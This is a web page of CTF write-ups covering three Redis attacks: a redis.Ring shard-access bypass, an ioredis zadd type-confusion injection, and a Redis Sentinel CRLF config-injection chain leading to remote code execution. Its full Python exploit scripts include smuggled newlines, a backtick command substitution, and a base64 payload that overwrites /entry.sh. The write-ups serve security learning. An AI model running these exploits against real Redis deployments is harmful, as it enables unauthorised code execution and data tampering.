Skip to content

Redis

redis.Ring does not check what shards you access. redis.Del on several keys will execute only on the shard of the first key, which can lead to an inconsistent state where some keys exist for a deleted...

Created

Updated

7 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

redis.Ring Golang Shard Access Bypass

Event NameSAS CTF Quals 2025
GitHub URL-
Challenge NameDrift Chat Revenge
Solves11
Attachments
References

redis.Ring does not check what shards you access. redis.Del on several keys will execute only on the shard of the first key, which can lead to an inconsistent state where some keys exist for a deleted session.

Solver

Vulnerability: When /logout is called, the app executes redis.Del on several keys, but it only executes on the shard of the first key.

Exploit Chain:

  1. SetDraft("best chat eva", "a")
  2. Logout
  3. SendMessage

Relevant Code

Draft Handler:

package service

import (
	"editor/internal/redis"
	"fmt"
	"log/slog"
	"time"

	"github.com/gin-gonic/gin"
)

type setDraftReq struct {
	Chat  string `json:"chat"`
	Draft string `json:"draft"`
}

type setDraftResp struct{}

func (s *Service) SetDraft(c *gin.Context) {
	ctx := c.Request.Context()

	req := setDraftReq{}
	if err := c.BindJSON(&req); err != nil {
		slog.Error("parse", "err", err)
		c.AbortWithStatus(532)
		return
	}

	tok := c.Request.CookiesNamed(tokenCookie)
	if len(tok) != 1 {
		c.AbortWithStatus(403)
		return
	}
	token := tok[0].Value
	st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
	username := st.Val()
	if username == "" {
		c.AbortWithStatus(403)
		return
	}

	s.red.Set(ctx, fmt.Sprintf(redis.Online, username), "1", 10*time.Second)

	if req.Draft == "" {
		res := s.red.Del(ctx, fmt.Sprintf(redis.DraftMessage, token),
			fmt.Sprintf(redis.WrittenNow, token))
		if res.Err() != nil {
			c.AbortWithStatus(500)
			return
		}

		c.JSON(200, setDraftResp{})
		return
	}

	pipe := s.red.TxPipeline()
	pipe.SAdd(ctx, fmt.Sprintf(redis.ChatWriteList, req.Chat), token)
	pipe.Set(ctx, fmt.Sprintf(redis.DraftMessage, token), req.Draft, 0)
	pipe.Set(ctx, fmt.Sprintf(redis.WrittenNow, token), req.Chat, 0)
	_, err := pipe.Exec(ctx)
	if err != nil {
		c.AbortWithStatus(500)
		c.Error(err)
		return
	}

	c.JSON(200, setDraftResp{})
}

SendMessage Handler:

package service

import (
	"editor/internal/redis"
	"editor/internal/repository/chat"
	"fmt"
	"log/slog"

	"github.com/gin-gonic/gin"
)

type sendMessageReq struct {
	Chat string `json:"chat"`
}

func (s *Service) SendMessage(c *gin.Context) {
	ctx := c.Request.Context()

	req := sendMessageReq{}
	if err := c.BindJSON(&req); err != nil {
		slog.Error("parse", "err", err)
		c.AbortWithStatus(532)
		return
	}
	chatName := req.Chat

	tok := c.Request.CookiesNamed(tokenCookie)
	if len(tok) != 1 {
		c.AbortWithStatus(403)
		return
	}
	token := tok[0].Value
	st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
	username := st.Val()

	st = s.red.Get(ctx, fmt.Sprintf(redis.DraftMessage, token))
	if st.Err() != nil {
		c.AbortWithStatus(401)
		c.Error(fmt.Errorf("no draft message %s", st.Err()))
		return
	}
	msg := st.Val()

	st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
	if st.Err() != nil {
		c.AbortWithStatus(402)
		c.Error(fmt.Errorf("no written now %s", st.Err()))
		return
	}
	writtenNow := st.Val()
	if writtenNow != chatName {
		c.AbortWithStatus(403)
		c.Error(fmt.Errorf("written now is wrong %s", st.Err()))
		return
	}

	messages, err := s.chat.GetMessages(ctx, chatName)
	if err != nil {
		c.AbortWithStatus(404)
		c.Error(fmt.Errorf("no messages %s", st.Err()))
		return
	}

	ok, _ := s.check_is_allowed(ctx, username, chatName)
	if !ok {
		c.AbortWithStatus(405)
		return
	}

	err = s.chat.SendMessage(ctx, chatName, chat.Message{
		Author:  username,
		Content: msg,
	})
	if err != nil {
		c.AbortWithStatus(406)
		c.Error(fmt.Errorf("failed to send %s", st.Err()))
		return
	}

	cmd := s.red.Del(ctx,
		fmt.Sprintf(redis.WrittenNow, token),
		fmt.Sprintf(redis.DraftMessage, token))
	if cmd.Err() != nil {
		c.AbortWithStatus(407)
		c.Error(fmt.Errorf("del %s", cmd.Err()))
		return
	}

	c.JSON(200, getChatResp{Messages: messages})
}

Exploit Script

import httpx

URL = "https://drift-chat-revenge.task.sasc.tf"
# URL = "https://drift_chat.task.sasc.tf/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url, verify=False)
    def api_login(self, login, password):
        return self.c.post("/api/login", json={
            "login": login,
            "password": password,
        })
    def api_chat_create(self, name, allowed_users):
        return self.c.post("/api/chat/create", json={
            "name": name,
            "allowed_users": allowed_users,
        })
    def api_chat_get(self, chat):
        return self.c.post("/api/chat/get", json={
            "chat": chat,
        })
    def api_register(self, password, login):
        return self.c.post("/api/register", json={
            "login": login,
            "password": password,
        })
    def api_set_draft(self, chat, draft):
        return self.c.post("/api/set_draft", json={
            "chat": chat,
            "draft": draft,
        })
    def api_chat_get_drafts(self, chat):
        return self.c.post("/api/chat/get_drafts", json={
            "chat": chat,
        })
    def api_send_message(self, chat):
        return self.c.post("/api/send_message", json={
            "chat": chat,
        })
    def api_logout(self):
        return self.c.post("/api/logout")
class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    for i in range(10):
        creds = ["dajiwqoprnfqiowpnroiqwweodinqnnoiqwjmdioqws", "dajiwqoprnfqiowpnroiqwweodinqnnoiqwjmdioqws"]
        res = api.api_register(login=creds[0], password=creds[1])
        print(res.text, res.status_code)
        res = api.api_login(login=creds[0], password=creds[1])

        res = api.api_set_draft("best chat eva", "foo")
        print(res.text, res.status_code)

        res = api.api_logout()
        print(res.text, res.status_code)

        print(api.c.cookies)

        res = api.api_send_message("best chat eva")
        print(res.text, res.status_code)

Flag


ioredis Type Confusion (zadd)

Event NamecorCTF 2024
GitHub URL-
Challenge Namerock-paper-scissors
Solves
Attachments
References

The ioredis library's zadd function is vulnerable to type confusion when the application doesn't validate input types, allowing array injection into Redis commands.

Solver

Vulnerable Code:

await redis.zadd('scoreboard', score, username);

ioredis zadd signature:

zadd(...args: [key: RedisKey, ...scoreMembers: (string | number | Buffer)[], callback: Callback<number>]): Promise<number>

Finding the Container IP:

sudo docker ps
sudo docker inspect 712f2d1ff53e | grep 172
                    "Gateway": "172.28.0.1",
                    "IPAddress": "172.28.0.3",

Monitoring Redis Commands:

redis-cli -h 172.28.0.3
172.28.0.3:6379> MONITOR
1722081120.372250 [0 172.28.0.2:40998] "getdel" "962bc73df31b6b25"
1722081120.373868 [0 172.28.0.2:40998] "incr" "962bc73df31b6b25"
1722081120.375392 [0 172.28.0.2:40998] "getdel" "962bc73df31b6b25"
1722081120.375542 [0 172.28.0.2:40998] "zadd" "scoreboard" "1" "hey" "\\n" "scoreboard" "5555" "yaasdf"
1722081120.376850 [0 172.28.0.2:40998] "getdel" "962bc73df31b6b25"

Payload Example:

r = sess.post(HOST + '/new', json={'username': ['hey','\\n', 'scoreboard', 5555, 'yaasdf']})

Exploitation Goal:

"zadd" "scoreboard" "1" "hey" "1337" "injected"

Exploit Script

import requests

HOST = 'http://0.0.0.0:8080'
sess = requests.Session()

exfil_username = 'injected'
# Create username that's an array
r = sess.post(HOST + '/new', json={'username': ['hey', 1337, exfil_username]})

# Make sure we always lose, so we hit the `redis.zadd('scoreboard', score, username)`:
r = sess.post(HOST + '/play', json={'position': "a"})

# Now change user
r = sess.post(HOST + '/new', json={'username': exfil_username})

# Then we can get flag
flag = sess.get(HOST + '/flag').text
print(flag)

Flag


Redis Sentinel CRLF / config-injection → RCE (+ unintended: flag leaked in challenge manifest API)

Event NameSAS CTF 2026
GitHub URL-
Challenge NameRedis Nightmare
Solves12
Attachments
solve.py
#!/usr/bin/env python3
# Redis Nightmare (SAS CTF 2026) — INTENDED: Redis Sentinel CRLF/config-injection -> RCE
# Based on Paul Axe research: https://github.com/tom0li/collection-document/blob/master/15-redis-post-exploitation.pdf
import time
import redis
from redis.backoff import NoBackoff
from redis.retry import Retry

PASSWORD = "37e66192b419fdb08e77b715b2ff2eb60d6a02c36a16b8300b41d91f2e5dbe98"   # per-instance
HOST = "redis-c3dbbe94a22949388fe7.tcp.kit.sasc.tf"                              # per-instance
PORT = 443

CMD = '''echo <new base64 encoded entry.sh> | base64 -d > /entry.sh; kill 1'''

def printable(cmd):
    cmd = [i if " " not in i else f'"{i}"' for i in cmd]
    return " ".join(cmd).replace("\n", "\\n")

def get_client():
    return redis.Redis(host=HOST, port=PORT, decode_responses=True, password=PASSWORD,
                       retry=Retry(backoff=NoBackoff(), retries=0), ssl=True, ssl_cert_reqs=None)

def run_with_restart(cmd, sleep=3):
    try:
        with get_client() as client:
            print("[+] Executing:\n\t{}".format(printable(cmd)))
            client.execute_command(*cmd)
            time.sleep(sleep)
            client.execute_command("SHUTDOWN", "NOSAVE")
    except redis.exceptions.ConnectionError:
        print("[+] Restarting"); time.sleep(25)

def probe():
    with get_client() as client:
        print(client.execute_command("SENTINEL", "MASTERS")[0])

# 1) CRLF-inject a second monitored master 'zfake' into sentinel config via SENTINEL SET auth-pass value
run_with_restart(sleep=15, cmd=["SENTINEL","SET","mymaster","auth-pass",
  "qwe\nsentinel myid dddddddddddddddddddddddddddddddddddddddd\n"
  "sentinel monitor 'zfake' 192.168.13.37 6379 2\n"
  "sentinel auth-pass 'zfake' ae0fd3253987f24c85392b18d8cfc05ec8fa1f41e3145228fe4904cd95fb3fd3"])
probe()
# 2) point sentinel logfile at /entry.sh and smuggle a command substitution via myid
run_with_restart(cmd=["SENTINEL","SET","zfake","auth-pass",
  "qwe\nsentinel myid `.$IFS/usr/local/etc/redis/sentinel.co*`\nlogfile /entry.sh"])
probe()
# 3) overwrite /entry.sh with attacker payload and kill 1 to restart the container -> RCE
run_with_restart(cmd=["SENTINEL","SET","zfake","auth-pass", f"qwe\n{CMD}; exit;"])
probe()   # connection exception here == exploit landed
References

Flag: SAS{r3l4ys_4r3_n0t_g00d_but_CRLF_w0rse}

  • Arch: web → Redis Sentinel (TLS + auth) → SaltStack master/minions; goal = read /flag.txt on the salt-master.
  • Unintended (fastest): GET /public-api/challenges/9 returns data.manifest (the k8s deploy template), which hardcodes the flag as the FLAG env default — the real {{ .Flag }} env block is commented out, so the literal default is the flag: printf '%s\n' "${FLAG:-SAS{...}}" > /flag.txt. Pure info-disclosure from the platform's challenges API; no exploitation needed.
  • Intended: SENTINEL SET <master> auth-pass <value> writes <value> verbatim into the on-disk sentinel config → CRLF/newline injection of arbitrary sentinel … directives. Chain: inject a 2nd monitored master zfake → set logfile /entry.sh + smuggle a command-substitution via sentinel myid → overwrite /entry.sh and kill 1 to restart the container → RCE. Each step ends with SHUTDOWN NOSAVE so sentinel reloads the rewritten config on restart.

why it is vulnerable

# SENTINEL SET writes the auth-pass value straight into the sentinel config file with NO
# newline sanitization -> classic CRLF/config injection:
client.execute_command("SENTINEL","SET","mymaster","auth-pass",
  "qwe\n"                                              # close the auth-pass line
  "sentinel monitor 'zfake' 192.168.13.37 6379 2\n"   # inject a NEW monitored master...
  "sentinel auth-pass 'zfake' <pass>")                # ...that we then fully control
# then on the injected master: logfile is attacker-controlled -> write arbitrary files (/entry.sh),
# and the myid value is evaluated as a shell command-substitution on restart:
#   sentinel myid `.$IFS/usr/local/etc/redis/sentinel.co*`

Solver

import time, redis
from redis.backoff import NoBackoff
from redis.retry import Retry
PASSWORD="<per-instance>"; HOST="redis-....tcp.kit.sasc.tf"; PORT=443
CMD='echo <new base64 entry.sh> | base64 -d > /entry.sh; kill 1'
def cli(): return redis.Redis(host=HOST,port=PORT,decode_responses=True,password=PASSWORD,
    retry=Retry(backoff=NoBackoff(),retries=0),ssl=True,ssl_cert_reqs=None)
def step(cmd,sleep=3):
    try:
        with cli() as c: c.execute_command(*cmd); time.sleep(sleep); c.execute_command("SHUTDOWN","NOSAVE")
    except redis.exceptions.ConnectionError: time.sleep(25)
# 1) CRLF-inject a 2nd master 'zfake'
step(["SENTINEL","SET","mymaster","auth-pass",
  "qwe\nsentinel myid dddddddddddddddddddddddddddddddddddddddd\n"
  "sentinel monitor 'zfake' 192.168.13.37 6379 2\n"
  "sentinel auth-pass 'zfake' ae0fd3253987f24c85392b18d8cfc05ec8fa1f41e3145228fe4904cd95fb3fd3"], sleep=15)
# 2) logfile -> /entry.sh + command-substitution via myid
step(["SENTINEL","SET","zfake","auth-pass",
  "qwe\nsentinel myid `.$IFS/usr/local/etc/redis/sentinel.co*`\nlogfile /entry.sh"])
# 3) overwrite /entry.sh and restart -> RCE -> read /flag.txt
step(["SENTINEL","SET","zfake","auth-pass", f"qwe\n{CMD}; exit;"])

Unintended one-liner

curl -s 'https://ctf.thesascon.com/public-api/challenges/9' -H 'Cookie: session=<yours>' \
  | python3 -c 'import sys,json,re;print(re.findall(r"SAS\{[^}]*\}",json.load(sys.stdin)["data"]["manifest"]))'

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.